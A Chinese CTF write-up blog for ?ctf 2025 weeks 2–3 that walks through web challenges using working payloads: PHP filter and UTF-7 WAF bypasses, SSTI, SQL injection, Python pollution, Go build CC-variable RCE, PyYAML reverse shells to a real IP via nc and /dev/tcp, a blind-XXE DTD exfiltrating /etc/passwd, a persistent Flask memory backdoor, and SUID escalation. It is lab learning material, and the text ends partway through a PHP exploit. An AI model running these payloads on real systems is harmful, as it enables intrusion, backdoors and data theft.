qctf2025

前言

?ctf的week1过于简单,所以从week2开始写起,查漏补缺。

Week2

Look at the picture

知识点:文件包含、php:filter伪协议字符编码绕过

www.zip获取源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
// 随机图片URL数组
$randomImages = [
    'https://picsum.photos/500/500?random=1',
    'https://picsum.photos/500/500?random=2',
    'https://picsum.photos/500/500?random=3',
    'https://picsum.photos/500/500?random=4',
    'https://picsum.photos/500/500?random=5',
    'https://picsum.photos/500/500?random=6',
    'https://picsum.photos/500/500?random=7',
    'https://picsum.photos/500/500?random=8',
    'https://picsum.photos/500/500?random=9',
    'https://picsum.photos/500/500?random=10'
];

// 获取URL参数
$imageUrl = isset($_GET['url']) ? $_GET['url'] : '';
$blacklist_keywords = [
        'file://', 'file%3A//',
        'phar://', 'phar%3A//',
        'zip://', 'zip%3A//',
        'data:', 'data%3A',
        'glob://', 'glob%3A//',
        'expect://', 'expect%3A//',
        'ftp://', 'ftps://',
         'passwd', 'shadow', 'etc/', 'root', 'bin', 'bash',
        'base64',  'string.',  'rot13', 
        'eval', 'system', 'exec', 'shell_exec', 'popen'
    ];
foreach ($blacklist_keywords as $keyword) {
        if (stripos($imageUrl, $keyword) !== false) {
            die("I see you.....");
        }
    }
// 如果没有URL参数,选择一个随机图片并重定向
if (empty($imageUrl)) {
    $randomImage = $randomImages[array_rand($randomImages)];
    header("Location: ?url=" . urlencode($randomImage));
    exit();
}

// 初始化变量
$base64Image = '';
$imageInfo = null;
$error = '';

if (!empty($imageUrl)) {
    // 验证URL格式
    if (filter_var($imageUrl, FILTER_VALIDATE_URL)) {
        // 使用file_get_contents获取图片内容
        $imageContent = @file_get_contents($imageUrl);
        
        if ($imageContent !== false) {
            // 获取图片信息
            $imageInfo = @getimagesizefromstring($imageContent);
            if ($imageInfo) {
                // 获取MIME类型
                $mimeType = $imageInfo['mime'];
                
                // 将图片内容转换为base64编码
                $base64Image = base64_encode($imageContent);
            } else {
                $error = '无法识别的图片格式 你的图片:'.$imageUrl.":".$imageContent;
            }
        } else {
            $error = '无法获取图片内容,请检查URL是否正确 '.$imageUrl.":".$imageContent;
        }
    } else {
        $error = '无效的URL格式';
    }
}
?>

打的时候一直觉得是ssrf,但是ssrf又读不到什么东西。原来关键点是file_get_contents这tm就是个文件包含啊!

文件包含一直不太行,感觉还是得找时间练练。

这里可以用php伪协议,php://filter但是常用的base64、rot13啥的都被ban了。

这里就可以用UTF编码绕过了

1
php://filter/convert.iconv.UTF-8.UTF-7/resource=/flag

image-20251107091426857

好像也不需要解码,直接是对的,不过真要写的话还是建议用UTF-16,这样也好找转换工具

Only Picture Up

知识点:文件上传

直接传图片马,这靶场里面直接有配置文件可以将png当作php运行,直接打了。

image-20251107092909245

留言板

知识点:过滤ssti request

过滤了单双引号,发现request没有被过滤,这里直接用requset,这里是从cookie获取x和y

image-20251107100047642

登录和查询

知识点:爆破和奇奇怪怪的sql

image-20251107100752631

下面还有个网盘,给了字典,不看也行反正爆破出来admin123

image-20251107101132965

然后重定向到flag.php,直接给了个查询结果,连个注入点都没有wok

后面看wp才知道注入点是id。

1
' order by 4--+

image-20251107103157721

字段数为3,然后题目有提示说flag在flags表里,直接试出来了

1
' union select flag,null,null from flags where id=2--%20

这是什么函数?

知识点:原型链污染

首先是只能传json数据的,发给pollute这个路由,不出意外就是原型链污染了

image-20251107104611399

有提示说flag在/flag

image-20251107104931398

扫盘可以扫出源码,审计一下

image-20251107105218535

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

cat = "where is the flag?"
dog = "how to get the flag?"
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    with open('/flag','r') as f:
        flag = f.read().strip()
    if cat == dog:
        return flag 
    else:
        return cat + " " + dog
@app.route('/src', methods=['GET', 'POST'])
def src():
    return open(__file__, encoding="utf-8").read()

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "fail"
    return "success"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

简单审计一下,我们需要在/flag中将cat和dog的值相等

如何做到呢?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "__init__": {
    "__globals__": {
      "cat": "same_value",
      "dog": "same_value"
    }
  }
}

//class可以有可无
  1. __init__:这是类的构造函数,当我们访问 instance.__init__ 时,实际上访问的是 cls.__init__ 方法。
  2. __globals__:Python 函数的 __globals__ 属性是一个字典,包含函数定义时所在模块的全局变量。通过修改 __init__ 方法的 __globals__,我们可以影响包含 catdog 全局变量的模块命名空间。
  3. 设置相同值:我们将 __globals__ 中的 catdog 都设置为相同的值(如 "same_value"),这样在 /flag 路由中比较时,它们就会相等。

merge函数处理逻辑

  1. merge 函数处理 JSON 数据时,会递归设置属性。
  2. 当遇到 __init__ 键时,它会设置 instance.__init__ 属性,但由于 instance 已经有 __init__ 方法,所以会进入 hasattr(dst, k) and type(v) == dict 分支。
  3. 然后递归调用 merge(v, getattr(dst, k)),即 merge({"__globals__": {...}}, instance.__init__)
  4. 接下来处理 __globals__ 键,它会访问 instance.__init__.__globals__,这是包含模块全局变量的字典。
  5. 最后,merge 函数会设置 __globals__ 字典中的 catdog 键为相同的值。
  6. 当访问 /flag 路由时,全局变量 catdog 已经相等,因此返回 flag。

image-20251107111858396

Regular Expression

知识点:正则表达式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');

if(isset($_GET["?"])){
    $_? = $_GET['?'];
    if(preg_match('/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/', $_?) && strlen($_?) == 40) {
        echo 'Good job! Now I need you to write a regular expression for my string.</br>';
        if(isset($_POST['preg'])){
            $preg = str_replace("|","",$_POST['preg']);
            $test_string = 'Please\ 777give+. !me?<=-=>(.*)Flaggg0';
            if(preg_match('/'.$preg.'/', $test_string) && strlen($_POST['preg']) > 77){
                echo "Congratulations! Here is your flag: ".$flag;
            }else{
                echo "Almost succeeded!";
            }
        }
    }else{
        echo "Think twice, and go to study!!!";
    }
}else{
    echo "Welcome to ?ctf";
}

第一个要匹配正则,并且要满足长度为40

我们来看看

preg_match('/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/', $_?)

^-:必须以-开头

(ctf|CTF):可以是ctf也可以是CTF

<\n>{5}:字符<\n是换行,用%0a代替、>{5}连续五个字符 >

[h-l]:通配符,再hl之间的字母仍选

\d\d:\d表示任意数字,两个就是两个数字

\W+:带加号的就是贪婪匹配模式,可以一次或多次的匹配。然后w模式是与除 A-Z、a-z、0-9 和下划线以外的任意字符匹配,⽐如!、@、~、#、空格、等等。

@email\.com flag\.就是.、然后其他就是一样的,空格记得url编码

.\b$:任意匹配一个字符结尾

得到payload:

1
%3F=-ctf<%0A>>>>>h12!!!!!!!!!!@email.com%20flag0

然后第二关

我们需要自己写可以匹配

Please\ 777give+. !me?<=-=>(.*)Flaggg0

的正则表达式,但是要超过77个字符

简单构造

1
Plea[abcdefghijklmnopqrstuvwxyz124567890][abcdefghijklmnopqrstuvwxyz124567890]

image-20251107154002498

Week3

VIP

知识点:go语言ssti、Go build 环境变量注入

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
package main

import (
	"fmt"
	"github.com/gin-contrib/cors"
	"io"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"text/template"
	"time"

	"github.com/gin-gonic/gin"
)

type Utils struct{}

func (u *Utils) GetReader(path string) (io.Reader, error) {
	return os.Open(path)
}

func (u *Utils) ReadAll(r io.Reader) (string, error) {
	data, err := io.ReadAll(r)
	if err != nil {
		return "", err
	}
	return string(data), nil
}

func apiKeyMiddleware() gin.HandlerFunc {
	requiredKey := os.Getenv("API_KEY")
	if requiredKey == "" {
		panic("错误:API_KEY 环境变量未设置!")
	}

	return func(c *gin.Context) {
		providedKey := c.GetHeader("X-API-Key")
		if providedKey != requiredKey {
			c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "无效的 API Key"})
			return
		}
		c.Next()
	}
}

type BuildRequest struct {
	Env  map[string]string `json:"env"`
	Code string            `json:"code"`
}

const BuildDir = "/tmp/build"

func main() {
	r := gin.Default()

	if err := os.MkdirAll(BuildDir, 0755); err != nil {
		panic(fmt.Sprintf("无法创建固定的编译目录: %v", err))
	}

	r.Use(cors.Default())

	r.StaticFile("/vip.html", "./vip.html")

	r.GET("/", func(c *gin.Context) {
		c.File("./index.html")
	})

	r.GET("/api", func(c *gin.Context) {
		templateQuery := c.Query("template")

		tplString := fmt.Sprintf("输出结果: %s", templateQuery)

		data := map[string]interface{}{
			"Utils":  &Utils{},
			"Getenv": os.Getenv,
		}

		tmpl, err := template.New("name").Parse(tplString)
		if err != nil {
			c.String(http.StatusBadRequest, "模板解析错误: %s", err.Error())
			return
		}

		err = tmpl.Execute(c.Writer, data)
		if err != nil {
			c.String(http.StatusInternalServerError, "模板执行错误: %s", err.Error())
			return
		}
	})

	vipGroup := r.Group("/vip")
	r.Use(cors.New(cors.Config{
		AllowAllOrigins: true,
		AllowMethods:    []string{"GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS"},
		AllowHeaders:    []string{"Origin", "Content-Type", "X-API-Key"},
		MaxAge:          12 * time.Hour,
	}))
	vipGroup.Use(apiKeyMiddleware())
	{
		vipGroup.POST("/build", buildHandler)
	}

	r.Run(":8080")
}

func buildHandler(c *gin.Context) {
	var req BuildRequest
	if err := c.ShouldBindJSON(&req); err != nil {
		c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求格式"})
		return
	}

	sourceCodePath := filepath.Join(BuildDir, "main.go")
	if err := os.WriteFile(sourceCodePath, []byte(req.Code), 0644); err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"error": "写入源代码文件失败"})
		return
	}

	defer os.Remove(BuildDir + "/main.go")
	defer os.Remove(BuildDir + "/main_executable")
	defer os.RemoveAll(BuildDir + "/go-build")
	defer os.RemoveAll(BuildDir + "/gopath")

	var envs []string
	for k, v := range req.Env {
		envs = append(envs, fmt.Sprintf("%s=%s", k, v))
	}

	outputFileName := "main_executable"
	cmd := exec.Command("go", "build", "-o", outputFileName, "main.go")
	cmd.Dir = BuildDir
	cmd.Env = append(os.Environ(), envs...)

	output, err := cmd.CombinedOutput()
	if err != nil {
		c.JSON(http.StatusOK, gin.H{
			"error":   "编译失败",
			"details": string(output),
		})
		return
	}
	c.File(filepath.Join(BuildDir, outputFileName))
}

image-20251107154756335

之前考过一次go语言的ssti,那次的{{.}}有base64模块和exec,可以直接执行命令,这一次是Getenv和Utils模块,结合后面要去的vip专区中需要密钥,推测这里需要通过ssti读取密钥

观察附件源码,发现Utils中有GetReader和Readall方法

image-20251107162437030

1
{{.Utils.ReadAll (.Utils.GetReader ("/proc/self/environ"))}}

注意空格格式

image-20251107162901333

看到Secretkey的路径了直接读

1
{{.Utils.ReadAll (.Utils.GetReader ("/app/secret_key.txt"))}}

image-20251107163012747

获得密钥之后就可以用vip的功能了

vip功能为一个go语言的编译器,这里存在环境变量注入的漏洞,以后遇到go编辑器几乎就是这种题了

Go build 环境变量注入RCE-先知社区

在Go环境变量中有一个CC变量,这是个指令。

原本是CC=gcc,可以编译C。这里就是一个命令注入的点位

怎么注入?需要构造怎样的payload呢?

首先看看怎么定义CC

1
"CC": "/bin/sh -c '...; gcc \"$@\"' gcc-shim"

/bin/sh -c '...' 表示执行单引号内的字符串作为 shell 命令。

gcc "$@": 这是为了伪装和欺骗。在恶意命令执行完毕后,脚本会继续执行 gcc"$@" 是一个特殊的 shell 变量,它会把传递给这个脚本的所有参数原封不动地传给 gcc。这样,Go 编译过程就能正常完成,不会因为找不到 C 编译器而报错。(可有可无,顺带一提, gcc-shim也可有可无)

好,到这一步已经准备好命令注入了。但是要调用CC这个指令,我们需要导入import “C”。

所以接下来给出完整的payload

payload是json形式

1
2
3
4
5
6
7
8
{ 
	"code": "package main\nimport \"C\"\n\nfunc main() {}", 
	"env": {   
		"CGO_ENABLED": "1",   
		"GOOS": "linux",   
		"CC": "/bin/sh -c '......; gcc \"$@\"' gcc-shim" 
		} 
}

import "C" 会强制 Go 编译器启用 Cgo,即调用 C 语言工具链(编译器、链接器)来处理 C 代码部分。这是触发漏洞的关键。 如果没有 import "C",Go 编译器会忽略 CCCGO_* 相关的环境变量。

环境变量还定义了"CGO_ENABLED": "1""GOOS": "linux": 这两个是辅助,确保 Cgo 被启用并指定目标系统。

好,到这里,如果是出网的题目,我们已经可以用反弹shell解决了。但问题这里的环境是不出网的。又该如何解决呢?

可以用>&2重定向解决回显的问题

1
2
3
"CC": "/bin/sh -c 'ls -al / >&2; false'"

>&2重定向到错误输出,后面false强制错误,所以一定会输出

image-20251113171051207

flag.txt,直接读,显示我们没有权限

image-20251113171157195

那就要提权了

找一下所有具有特殊权限suid的文件,返回前五个

1
find / -type f -perm /4000 2>/dev/null | head -5

image-20251113171805529

直接执行

image-20251113172049513

这个方法就和正常拿shell一样,执行命令,但是官方的脚本wp不是这样的,是用go embed

还有一种方法是用go embed

Go embed 特性 : Go 语言在编译的时候会将被 embed 的文件一起打包到二进制程序内部

也就是说,我们通过命令注入可以将flag写入一个被embed的文件,然后一起打包出来。

embed 特性通过 //go:embed 指令来实现。以下是一些常见的用法:

嵌入单个文件demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package main

import (
    _ "embed"
    "fmt"
)

//go:embed hello.txt
var s string

func main() {
    fmt.Println(s)
}
  • //go:embed hello.txt:表示将 hello.txt 文件的内容嵌入到变量 s 中。

  • s 是一个字符串变量,存储了 hello.txt 文件的内容。

  • 运行程序时,s 的值就是 hello.txt 文件的内容。

所以我们第一个命令将命令结果写入一个文件,然后用embed打包一起调出来

构建第二个payload

1
2
3
4
5
6
7
{
 "code": "package main\nimport (_ \"embed\"; \"os\")\n\n//go:embed s.txt\nvar f []byte\n\nfunc main() { os.Stdout.Write(f) }",
 "env": {
   "CGO_ENABLED": "1",
   "GOOS": "linux"
 }
}

env部分相同

code部分:

import (_ "embed"; "os"): 导入了两个关键包。embed 用于在编译时嵌入文件,os 用于将内容输出到标准输出。

//go:embed s.txt: 这是 Go 1.16+ 引入的编译器指令。它告诉编译器,在编译时查找 s.txt 文件,并将其内容嵌入到下面的变量中。

var f []byte: 这个变量 f 将在编译后包含 s.txt 的所有内容。

func main() { os.Stdout.Write(f) }: 程序运行时,它只做一件事:将 f 变量(即 s.txt 的内容)印到屏幕上。

但是我自己做实验的时候,并没有一起打包出来,也不知道是什么原因,这里暂时就这样吧。

ez_php

知识点:非法变量名传参、无字母数字 + 四字符rce

image-20251114101712549

考过很多次了,就是+和&要传进去的话需要url编码一下

1
c1n%5by0.u%20g3t%2bfl%26g

image-20251114104331944

然后是限长的无字母数字rce,给了flag的位置

网上有很多相关文章,可以发现取反是字符数最少的

1
2
3
4
<?php
echo urlencode(~"whoami");
    
//%88%97%90%9E%92%96

然后用 `` 执行系统命令,也可以缩短

1
?a=$_=~%88%97%90%9E%92%96;echo%20`$_`

但是还是太长了,我们在去除echo的情况下需要用到总计10个字符

1
$_=~;echo%20`$_`

限长十四,所以我们只能传四个字符。常规执行肯定是不行了,这里应该可以想到四字符rce

预备知识: 1.输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

1
2
3
>id
>root
*           (等同于命令:id root)

这里巧妙的地方就来了

>cat:在当前目录下写入文件名为cat的文件

此时ls可以得到:cat flag.php index.php

然后我们用 *>=就可以将flag.php写入=文件中

1
2
3
?c1n[y0.u%20g3t%2Bfl%26g?=$_=~%C1%9C%9E%8B;`$_`;

?c1n[y0.u%20g3t%2Bfl%26g?=`*>=`;

最后访问=

image-20251114150446466

mysql管理工具

知识点:JWT爆破、Mysql任意文件读取、yaml反序列化

源代码获取登录账号user/pass

跳转到mysql测试链接,但是需要admin权限才能获取连接

image-20251114150903634

抓包看到JWT,没有其他信息点时优先考虑爆破。

image-20251114151058014

image-20251114151452322

那么接下来就是伪造了

image-20251114151715129

之后再次连接显示连接失败

查看wp得知这里考的是mysql任意文件读取漏洞

18.MYSQL任意文件读取 · Aaron 知识库

脚本:Rogue-MySql-Server/rogue_mysql_server.py at master · allyshka/Rogue-MySql-Server

首先在自己的虚拟机上运行上述脚本,然后通过Cpolar穿透到外网,然后查域名可以获取ip,最后调整参数发包,虚拟机这里自己会生成mysql.log,那个就是返回值了

image-20251114205620731

然后就是修改filelist

image-20251114205409564

这里改错了,直接app.py就行,成功获取源码

image-20251114210154809

让ai整合一下代码,去除一下没必要的html代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from flask import Flask, request, jsonify, render_template_string
import MySQLdb
import jwt
import random
import string
from functools import wraps
from datetime import datetime, timedelta
import yaml  # pyyaml==5.1

# ==================== 配置和常量 ====================
app = Flask(__name__)
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=4))

JWT_SECRET = ''.join(random.choices(string.ascii_letters + string.digits, k=4))
JWT_ALGORITHM = 'HS256'

# 用户凭证
admin_pass = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
USERS = {'admin': admin_pass, 'user': 'pass'}

# ==================== JWT 工具函数 ====================
def generate_token(username):
    """生成JWT令牌"""
    payload = {
        'username': username,
        'exp': datetime.utcnow() + timedelta(hours=24)
    }
    return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)

def verify_token(token):
    """验证JWT令牌"""
    try:
        payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])
        return payload['username']
    except Exception:
        return None

# ==================== 装饰器 ====================
def login_required(f):
    """登录验证装饰器"""
    @wraps(f)
    def wrapper(*args, **kwargs):
        token = request.headers.get('Authorization')
        
        if not token or not token.startswith('Bearer '):
            return jsonify({'error': 'Token missing'}), 401
            
        username = verify_token(token[7:])
        if not username:
            return jsonify({'error': 'Invalid token'}), 401
            
        request.current_user = username
        return f(*args, **kwargs)
    return wrapper

# ==================== 路由定义 ====================
@app.route('/')
def index():
    """首页 - 登录页面"""
    return render_template_string(LOGIN_PAGE)

@app.route('/login', methods=['POST'])
def login():
    """用户登录接口"""
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    
    if username in USERS and USERS[username] == password:
        token = generate_token(username)
        return jsonify({'success': True, 'token': token})
    
    return jsonify({
        'success': False, 
        'error': '用户名或密码错误'
    })

@app.route('/test')
def mysql_test_page():
    """MySQL 连接测试页面"""
    return render_template_string(TEST_PAGE)

@app.route('/test_mysql', methods=['POST'])
@login_required
def test_mysql():
    """MySQL 连接测试接口(仅限 admin 用户)"""
    if request.current_user != 'admin':
        return jsonify({
            "success": False, 
            "error": "权限不足,只有 admin 可以测试 MySQL 连接"
        }), 403
    
    data = request.get_json() or {}
    
    # 检查必要字段
    required_fields = ["host", "port", "user", "password", "db"]
    for field in required_fields:
        if field not in data:
            return jsonify({
                "success": False, 
                "error": f"缺少字段: {field}"
            })
    
    # 测试数据库连接
    try:
        conn = MySQLdb.connect(
            host=data["host"],
            port=int(data["port"]),
            user=data["user"],
            passwd=data["password"],
            db=data["db"],
            connect_timeout=5,
            charset='utf8mb4',
            local_infile=1,
            ssl=None
        )
        
        # 执行简单查询验证连接
        cursor = conn.cursor()
        cursor.execute("SELECT 1")
        cursor.close()
        conn.close()
        
        return jsonify({"success": True})
        
    except MySQLdb.Error as e:
        return jsonify({"success": False, "error": f"数据库错误: {str(e)}"})
    except Exception as e:
        return jsonify({"success": False, "error": f"其他错误: {e}"})

@app.route('/uneed1t', methods=['GET'])
def uneed1t():
    """YAML 数据处理接口(存在安全风险)"""
    data = request.args.get('data', '')
    
    if not data:
        return jsonify({"result": "null"})
    
    try:
        # 安全过滤
        black_list = ["system", "popen", "run", "os"]
        for forbidden in black_list:
            if forbidden in data:
                return jsonify({"result": "error"})
        
        # 注意:yaml.load 存在反序列化安全风险
        yaml.load(data, Loader=yaml.Loader)
        
        return jsonify({"result": "ok"})
    except Exception:
        return jsonify({"result": "error"})

# ==================== 主程序 ====================
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000, debug=False)

除了看到过的mysql相关和根,还有一个/uneed1t路由。这里藏了一个yaml反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/uneed1t', methods=['GET'])
def uneed1t():
    """YAML 数据处理接口(存在安全风险)"""
    data = request.args.get('data', '')
    
    if not data:
        return jsonify({"result": "null"})
    
    try:
        # 安全过滤
        black_list = ["system", "popen", "run", "os"]
        for forbidden in black_list:
            if forbidden in data:
                return jsonify({"result": "error"})
        
        # 注意:yaml.load 存在反序列化安全风险
        yaml.load(data, Loader=yaml.Loader)
        
        return jsonify({"result": "ok"})
    except Exception:
        return jsonify({"result": "error"})

有一点黑名单的yaml反序列化

塞一篇文章浅谈PyYAML反序列化漏洞-先知社区

弹个shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import urllib.parse

# 目标URL
target_url = "http://challenge.ilovectf.cn:30023/uneed1t"

# 简单的YAML反序列化利用代码
payload = """!!python/object/apply:subprocess.call [['/bin/busybox','nc','8.148.66.159','10726','-e','/bin/sh']]
"""


# URL编码payload
encoded_payload = urllib.parse.quote(payload)

# 发送请求
url = f"{target_url}?data={encoded_payload}"
response = requests.get(url)

print(f"状态码: {response.status_code}")
print(f"响应: {response.text}")


#记录一些反弹shell的payload
"""
# 1. 使用 /bin/nc (最常见的 netcat)
payload1 = """!!python/object/apply:subprocess.call
[['/bin/nc','8.148.66.159','10726','-e','/bin/bash']]"""

# 3. 使用 /bin/bash 直接反弹
payload3 = """!!python/object/apply:subprocess.call
[['/bin/bash','-c','bash -i >& /dev/tcp/8.148.66.159/10726 0>&1']]"""

# 4. 使用 /bin/sh 反弹
payload4 = """!!python/object/apply:subprocess.call
[['/bin/sh','-c','sh -i >& /dev/tcp/8.148.66.159/10726 0>&1']]"""
"""

image-20251115114834876

这又是什么函数?

知识点:python内存马 || 盲注

/src可以看到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

from flask import Flask,request,render_template

app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/doit', methods=['GET', 'POST'])
def doit():
    e=request.form.get('e')
    try:
        eval(e)
        return "done!"
    except Exception as e:
        return "error!"

@app.route('/src', methods=['GET', 'POST'])
def src():
    return open(__file__, encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

简单源码,大大地难

重点是eval,但是此eval非彼eval,php的eval利用起来很舒服,但这是python

本来可以反弹shell的,但这里不出网。

不出网就两个方法,盲注和内存马。这里详细讲一下内存马,因为我自己写的时候也想过内存马,但是失败了

后来发现就是payload有问题,这里直接就是打pickle反序列化的内容就好,因为直接是eval包裹的

image-20251115134711354

1
import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('shell') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)

这个内存马就是当你不传shell这个参数时,doti路由就是正常的,但是当你传了shell参数,那么doit这个路由就会变成你的后门

image-20251115134107890

盲注就不多说了,贴一个payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import requests
url = "http:"#question-ctf-internal-test-challenge.ilovectf.cn:30865/doit"
chars = "_-{}!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
flag = ""
for i in range(1, 50):
	for c in chars:
		payload = {
			'e': f'"%import"%("os").system("") if open("/flag").read()[{i-1}] == "{c}" else 1/0'
 		}
		r = requests.post(url, data=payload)
		if "done!" in r.text:
			flag += c
			print(flag)
			break
	else:
		break # 未找到字符,可能 flag 已结束
print("Final flag:", flag)

查查忆

知识点:外部注入dtd+waf XXE

正好xee博客里无回显xxe没写完,这里就当补充了

源代码里

首先是过滤了一些伪协议的字符,还ban了<!ENTITY,前面可以通过外部注入dtd绕过,也就是无回显的打法,后面这个可以用编码绕过。因为xml是可以指定编码格式的,我们改成UTF-7,就可以绕过了

但是我们如何才能通过外部注入dtd呢?

浅析无回显的XXE(Blind XXE) - FreeBuf网络安全行业门户

首先我们在虚拟机上搞一个xxe.dtd文件,内容为

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:"//etc/passwd">
<!ENTITY % code "<!ENTITY &#x25 send SYSTEM 'http://vps:port/xxe.dtd'>">

因为是外部dtd访问,你需要让你的dtd能够被公网访问到,也很简单,掏出我们的老朋友Cpolar

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:"//etc/passwd">
<!ENTITY % code "<!ENTITY &#x25 send SYSTEM 'http://8.148.66.159:10726/xxe.dtd'>">

这里需要开两个穿透,第一个是用python启一个http服务,然后内网穿透传出去。然后是你的dtd文件里第二行的网址,也需要你内网穿透出去

然后需要搞payload了

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % dtd SYSTEM "http://8.148.66.159:10726/xxe.dtd">
%dtd;%code;%send;
]>

用虚拟机改成UTF-7

1
2
3
4
5
cat 1.xml | iconv -f utf-8 -t utf-7 > payload.8-7.xml

当然,首先你要看看你是不是utf-8编码的

file -i 1.xml

改后的

1
2
3
4
5
<?xml version="1.0" encoding="UTF-7"?>
/v8APAAh-DOCTYPE a +AFs
	+ADWAIQ-ENTITY +ACU dtd SYSTEM +ACI-http://8.148.66.159:10726/xxe.dtd+ACIAPg
	+ACU-dtd+ADsAJQ-code+ADsAJQ-send+ADs
+AFOAPg

发包就能抓到了,用vps的话会方便一点但是,内网穿透反弹shell毕竟是自己研究出来的,每次用都觉得自己很厉害QAQ

image-20251117141520682

魔术大杂烩

知识点:php反序列化

week3最简单的一集

直接贴exp了,因为是写出了的题目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
error_reporting(0);
class Wuhuarou{
    public $Wuhuarou;
    function __wakeup(){
        echo "Nice Wuhuarou!</br>";
        echo $this -> Wuhuarou;
    }
}
class Fentiao{
    public $Fentiao;
    public $Hongshufentiao;
    public function __toString(){
        echo "Nice Fentiao!</br>";
        return $this -> Fentiao -> Hongshufentiao;
    }
}
class Baicai{
    public $Baicai;
    public function __get($key){
        echo "Nice Baicai!</br>";
        $Baicai = $this -> Baicai;
        return $Baicai();
    }
}
class Wanzi{
    public $Wanzi;
    public function __invoke(){
        echo "Nice Wanzi!</br>";
        return $this -> Wanzi -> Xianggu();
    }
}
class Xianggu{
    public $Xianggu;
    public $Jinzhengu;
    public function __construct($Jinzhengu){
        $this -> Jinzhengu = $Jinzhengu;
    }
    public function __call($name, $arg){
        echo "Nice Xianggu!</br>";
